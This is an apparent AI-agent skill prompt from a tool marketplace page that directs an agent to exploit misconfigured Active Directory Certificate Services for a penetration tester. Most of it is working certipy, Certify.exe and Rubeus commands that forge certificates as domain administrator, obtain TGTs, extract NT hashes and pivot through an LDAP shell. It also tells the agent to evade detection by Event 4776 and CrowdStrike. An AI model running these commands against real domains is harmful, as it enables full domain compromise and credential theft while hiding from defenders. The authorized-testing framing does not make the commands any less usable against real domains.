You are helping a penetration tester exploit misconfigured Active Directory
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester exploit misconfigured AD CS certificate
インストールする前に、エージェントに与えられる指示の中身を確認できます。
You are helping a penetration tester exploit misconfigured AD CS certificate templates to impersonate arbitrary domain principals. All testing is under explicit written authorization.
Kerberos-first authentication: Enumeration and certificate requests use Kerberos auth when possible. Post-exploitation authenticates via PKINIT (pure Kerberos) to avoid NTLM detection (Event 4776, CrowdStrike Identity Module).
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
[adcs-template-abuse] Activated → <target> to the screen on activation.engagement/evidence/ with
descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
Your return summary must include:
certipy (Python), optionally Certify.exe (C#), Rubeus (C#)Kerberos-first workflow:
# Get TGT for Kerberos-based operations
cd $TMPDIR && getTGT.py DOMAIN/user -hashes :NTHASH -dc-ip DC_IP
# or with password
cd $TMPDIR && getTGT.py DOMAIN/user:'Password' -dc-ip DC_IP
export KRB5CCNAME=$TMPDIR/user.ccache
# All Certipy commands use -k -no-pass after this
certipy find -k -no-pass -dc-ip DC_IP -vulnerable -output engagement/evidence/certipy-adcs
Tool output directory: certipy find supports -output to control where
results are written — always use -output engagement/evidence/certipy-<label>.
Without it, certipy writes {timestamp}_Certipy.{json,txt} to CWD.
getTGT.py, certipy req, and certipy auth all write output files to CWD
with no output-path flag. Always prefix these commands with cd $TMPDIR &&.
getTGT.py does NOT support -out — CWD is the only control. When saving
evidence, use mv (not cp) to avoid stray duplicates:
mv $TMPDIR/administrator.pfx engagement/evidence/administrator.pfx
mv $TMPDIR/administrator.ccache engagement/evidence/administrator.ccache
Before any Kerberos operation, check for clock skew. If you encounter
KRB_AP_ERR_SKEW at any point during this skill — STOP IMMEDIATELY.
Do NOT fall back to NTLM authentication. Kerberos-first is an OPSEC requirement, not a preference. NTLM fallback generates Event 4776 and CrowdStrike Identity Module PTH signatures — the exact detections Kerberos-first exists to avoid.
When clock skew is detected:
ntpdate -q DC_IP)
### Clock Skew Interrupt
- Error: KRB_AP_ERR_SKEW
- Skew: <magnitude in seconds/minutes>
- DC IP: <IP>
- Stage: <what step you were on when it hit>
- Attempted: <commands that failed>
The orchestrator will handle clock sync (requires sudo) and re-invoke this skill with identical parameters. Do not retry, do not work around it with NTLM, do not write your own sync script.
Run ADCS enumeration to identify vulnerable templates. If the orchestrator or
ad-discovery already provided results, skip to the relevant ESC.
# Full enumeration with vulnerability detection
certipy find -k -no-pass -dc-ip DC_IP -vulnerable -output engagement/evidence/certipy-adcs
# JSON output for structured analysis
certipy find -k -no-pass -dc-ip DC_IP -vulnerable -json -output engagement/evidence/certipy-adcs
# With password (if no TGT available)
certipy find -username user@DOMAIN -password 'Pass' -dc-ip DC_IP -vulnerable -output engagement/evidence/certipy-adcs
# Find all vulnerable templates
Certify.exe find /vulnerable
# Filter by enrollee-supplies-subject (ESC1)
Certify.exe find /enrolleeSuppliesSubject
# Filter by client-auth EKU
Certify.exe find /clientauth
# Show all permissions on all templates
Certify.exe find /showAllPermissions
nxc ldap DC_IP -k --use-kcache -M adcs
| ESC | Key Indicator |
|---|---|
| ESC1 | ENROLLEE_SUPPLIES_SUBJECT flag + client-auth EKU + low-priv enrollment |
| ESC2 | Any Purpose EKU (2.5.29.37.0) or no EKU + low-priv enrollment |
| ESC3 | Template with Certificate Request Agent EKU (1.3.6.1.4.1.311.20.2.1) + second template allowing on-behalf-of |
| ESC6 | CA has EDITF_ATTRIBUTESUBJECTALTNAME2 flag enabled |
Check ESC6 flag specifically:
# On CA server (requires remote access)
certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"
# Look for EDITF_ATTRIBUTESUBJECTALTNAME2 in output
Vulnerable template found?
├── ENROLLEE_SUPPLIES_SUBJECT + auth EKU → ESC1 (Step 2)
├── Any Purpose or No EKU → ESC2 (Step 3)
├── Certificate Request Agent EKU → ESC3 (Step 4)
├── EDITF_ATTRIBUTESUBJECTALTNAME2 on CA → ESC6 (Step 5)
└── Template ACL writable → Escalate (ESC4)
Conditions: Template has CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT set,
client-auth or smart card logon EKU, enrollment rights for low-priv user,
no manager approval, no authorized signatures required.
The attacker specifies an arbitrary SAN (Subject Alternative Name) in the certificate request, impersonating any domain user.
# Certipy — request as domain admin via UPN
certipy req -k -no-pass -dc-ip DC_IP -ca 'DOMAIN-CA' \
-template 'VulnTemplate' -upn 'administrator@domain.local'
# Certipy — with password auth
certipy req -username user@domain.local -password 'Pass' -target-ip CA_IP \
-ca 'DOMAIN-CA' -template 'VulnTemplate' -upn 'administrator@domain.local'
# Certify.exe — /altname for SAN
Certify.exe request /ca:CA.DOMAIN.LOCAL\DOMAIN-CA /template:VulnTemplate \
/altname:administrator@domain.local
Post-May 2022 (KB5014754): Certificates now include a security extension with the requester's SID. The SAN identity must match the requestor unless ESC9/ESC10 conditions exist. To work on patched systems, include the target SID:
# Certify with SID pinning
Certify.exe request /ca:CA.DOMAIN.LOCAL\DOMAIN-CA /template:VulnTemplate \
/altname:administrator \
/sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-500
# Certipy doesn't natively support SID in ESC1 request — use ESC9/10 chain
# or use the certificate for LDAPS auth instead of PKINIT
# Certipy — PKINIT auth (returns TGT + optional NT hash via UnPAC)
certipy auth -pfx administrator.pfx -dc-ip DC_IP
# Rubeus — request TGT and inject
Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx \
/password:pfx-password /ptt
# Rubeus — extract NT hash via UnPAC-the-Hash
Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx \
/password:pfx-password /getcredentials
# If PKINIT fails (KDC_ERR_PADATA_TYPE_NOSUPP) — use LDAPS/Schannel
certipy auth -pfx administrator.pfx -dc-ip DC_IP -ldap-shell
Conditions: Template has Any Purpose EKU (OID 2.5.29.37.0) or no EKU
at all, enrollment rights for low-priv user, no manager approval.
# Same as ESC1 — request with SAN if ENROLLEE_SUPPLIES_SUBJECT also set
certipy req -k -no-pass -dc-ip DC_IP -ca 'DOMAIN-CA' \
-template 'AnyPurposeTemplate' -upn 'administrator@domain.local'
certipy auth -pfx administrator.pfx -dc-ip DC_IP
# Request subordinate CA certificate
certipy req -k -no-pass -dc-ip DC_IP -ca 'DOMAIN-CA' \
-template 'NoEKUTemplate'
# This certificate can sign other certificates but won't directly
# authenticate to the domain unless added to NTAuthCertificates.
# More useful for code signing, S/MIME, or chaining with other attacks.
Explain that Any Purpose is directly exploitable like ESC1, while No EKU requires chaining. Recommend focusing on Any Purpose templates.
Conditions: Two templates required:
Certificate Request Agent EKU (1.3.6.1.4.1.311.20.2.1),
enrollment rights for low-priv userThe attacker first obtains an enrollment agent certificate, then uses it to request certificates on behalf of any user.
# Certipy
certipy req -k -no-pass -dc-ip DC_IP -ca 'DOMAIN-CA' \
-template 'EnrollmentAgentTemplate'
# Certify.exe
Certify.exe request /ca:CA.DOMAIN.LOCAL\DOMAIN-CA \
/template:Vuln-EnrollmentAgent
# Certipy — enroll on behalf of administrator
certipy req -k -no-pass -dc-ip DC_IP -ca 'DOMAIN-CA' \
-template 'User' -on-behalf-of 'DOMAIN\administrator' \
-pfx 'agent.pfx'
# Certify.exe
Certify.exe request /ca:CA.DOMAIN.LOCAL\DOMAIN-CA /template:User \
/onbehalfof:DOMAIN\administrator /enrollment:agent.pfx \
/enrollcertpwd:pfx-password
certipy auth -pfx administrator.pfx -dc-ip DC_IP
Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx \
/password:pfx-password /ptt
Note: CA enrollment agent restrictions (certsrc.msc → CA Properties → Enrollment Agents tab) can limit who the agent can enroll as. Default is "Do not restrict enrollment agents" — allows everyone.
Conditions: CA has EDITF_ATTRIBUTESUBJECTALTNAME2 flag enabled. This
allows a SAN to be specified as a certificate attribute (not extension)
in any request, even for templates that don't have ENROLLEE_SUPPLIES_SUBJECT.
This means standard templates like User become exploitable.
# Certipy — request User template with arbitrary SAN
certipy req -k -no-pass -dc-ip DC_IP -ca 'DOMAIN-CA' \
-target CA_HOST -template User -upn administrator@domain.local
# Certify.exe
Certify.exe request /ca:CA.DOMAIN.LOCAL\DOMAIN-CA /template:User \
/altname:administrator@domain.local
# certreq.exe (Windows native — no tools needed)
certreq.exe -new request.inf -config "CA_HOST\CA_NAME" \
-attrib "SAN:upn=administrator@domain.local"
certipy auth -pfx administrator.pfx -dc-ip DC_IP
After KB5014754, the certificate's security extension contains the requester's SID, not the SAN identity's SID. ESC6 exploitation on patched systems requires ESC9/ESC10 conditions (weak certificate mapping) to succeed.
Check if patched:
certipy auth returns KDC_ERR_CERTIFICATE_MISMATCH, the DC enforces
strong certificate binding and ESC6 alone is insufficient.All ESC variants produce a PFX/certificate. Use these methods to authenticate:
# Certipy (returns TGT ccache + optional NT hash)
certipy auth -pfx target.pfx -dc-ip DC_IP -username target -domain DOMAIN
# gettgtpkinit.py (PKINITtools)
gettgtpkinit.py -cert-pfx target.pfx -pfx-pass pfx-password \
DOMAIN/target target.ccache
# Rubeus
Rubeus.exe asktgt /user:target /certificate:target.pfx \
/password:pfx-password /ptt
# With Certipy (automatic if PKINIT succeeds)
certipy auth -pfx target.pfx -dc-ip DC_IP
# Output includes NT hash
# With getnthash.py (PKINITtools)
export KRB5CCNAME=target.ccache
getnthash.py -key 'AS-REP-encryption-key' DOMAIN/target
# With Rubeus
Rubeus.exe asktgt /user:target /certificate:target.pfx \
/password:pfx-password /getcredentials
# When DC returns KDC_ERR_PADATA_TYPE_NOSUPP
certipy auth -pfx target.pfx -dc-ip DC_IP -ldap-shell
# From LDAP shell: can add computer, set RBCD, modify attributes
# Chain: LDAPS → RBCD → S4U2Self → service ticket
# PEM to PFX
openssl pkcs12 -in cert.pem -keyex \
-CSP "Microsoft Enhanced Cryptographic Provider v1.0" \
-export -out cert.pfx
# PFX to PEM
openssl pkcs12 -in cert.pfx -out cert.pem -nodes
# Remove password from PFX
certipy cert -export -pfx cert.pfx -password 'old-pass' -out unprotected.pfx
STOP and return to the orchestrator with:
Template ACL denies enrollment for current user. Verify enrollment rights with
certipy find or Certify.exe find /showAllPermissions. Look for group-based
enrollment (add yourself to the group via ACL abuse if possible).
DC doesn't support PKINIT pre-authentication. Use LDAPS/Schannel fallback:
certipy auth -pfx cert.pfx -ldap-shell. From LDAP shell, set RBCD or modify
attributes for alternative escalation.
Certificate SID doesn't match target identity. System is patched (KB5014754). ESC1/ESC6 alone won't work — need ESC9/ESC10 conditions or use the certificate owner's identity instead.
CA certificate not in NTAuthCertificates or cert chain not trusted. Verify CA
is enterprise CA (not standalone). Check certutil -viewstore -enterprise NTAuth.
Template requires manager approval. Check if you have ManageCA/ManageCertificates permissions to approve it yourself — route to adcs-access-and-relay (ESC7).
See Clock Skew Interrupt section above. STOP and return to the orchestrator. Do not retry, do not fall back to NTLM.
| ESC | OPSEC | Detection Surface |
|---|---|---|
| ESC1 | Medium | Certificate enrollment event (4887), SAN in request visible in CA logs |
| ESC2 | Medium | Same as ESC1. No-EKU subordinate CA is louder (4899) |
| ESC3 | High | Two enrollment events — agent cert + on-behalf-of request |
| ESC6 | Medium | Standard template enrollment, but SAN attribute visible in CA logs |
まだレビューはありません。使ってみた感想をお寄せください。
概要と使いどころ
You are helping a penetration tester exploit misconfigured Active Directory
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester enumerate an Active Directory domain and
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester establish persistent access in Active
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester exploit ADCS through template/CA access
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester establish persistence through AD CS
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester force remote systems to authenticate
日本語の概要は準備中です。原文の説明を表示しています。